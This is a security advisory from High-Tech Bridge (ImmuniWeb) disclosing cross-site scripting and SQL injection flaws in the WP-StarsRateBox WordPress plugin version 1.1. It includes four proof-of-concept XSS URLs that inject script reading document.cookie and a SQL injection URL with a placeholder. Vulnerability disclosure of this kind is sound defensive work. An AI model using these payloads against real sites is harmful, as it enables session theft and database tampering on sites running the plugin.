Total Tests:

Multiple Vulnerabilities in WP-StarsRateBox

Advisory ID:HTB22934
Product:WP-StarsRateBox wordpress plugin
Vendor:www.starsrate.com
Vulnerable Versions:1.1 and probably prior
Tested Version:1.1
Advisory Publication:April 5, 2011 [without technical details]
Vendor Notification:April 5, 2011
Public Disclosure:April 19, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in WP-StarsRateBox WordPress Plugin which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerability in WP-StarsRateBox
The vulnerability exists due to input sanitation error in the "q" parameter in wp-content/plugins/wp-starsratebox/wp-starsratebox.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=1 &q=%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script%3E
http://[host]/wp-content/plugins/wp-starsra tebox/wp-starsratebox.ph p?check=1&q=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[ho st]/wp-content/plugins/w p-starsratebox/wp-starsratebox.php?opinion_check=1&q=%3Cscript%3Ealert%28doc ument.cookie%29;%3C/scri pt%3E
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php? opinion=1&q=%3Cscript%3E alert%28document.cookie%29;%3C/script%3E


2) SQL injection vulnerability in WP-StarsRateBox
The vulnerability exists due to input sanitation errors in the "j" parameter in wp-content/plugins/wp-starsratebox/wp-starsratebox.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://[host]/wp-content/plugins/wp-starsratebox/wp-starsratebox.php?p=1&j=S QL_CODE_HERE

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22934 - https://www.immuniweb.com/advisory/HTB22934 - Multiple Vulnerabilities in WP-StarsRateBox
[2] WP-StarsRateBox - www.starsrate.com - This WordPress plugin provides an AJAX Stars Rate Box with slide down effect and opinions collect system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential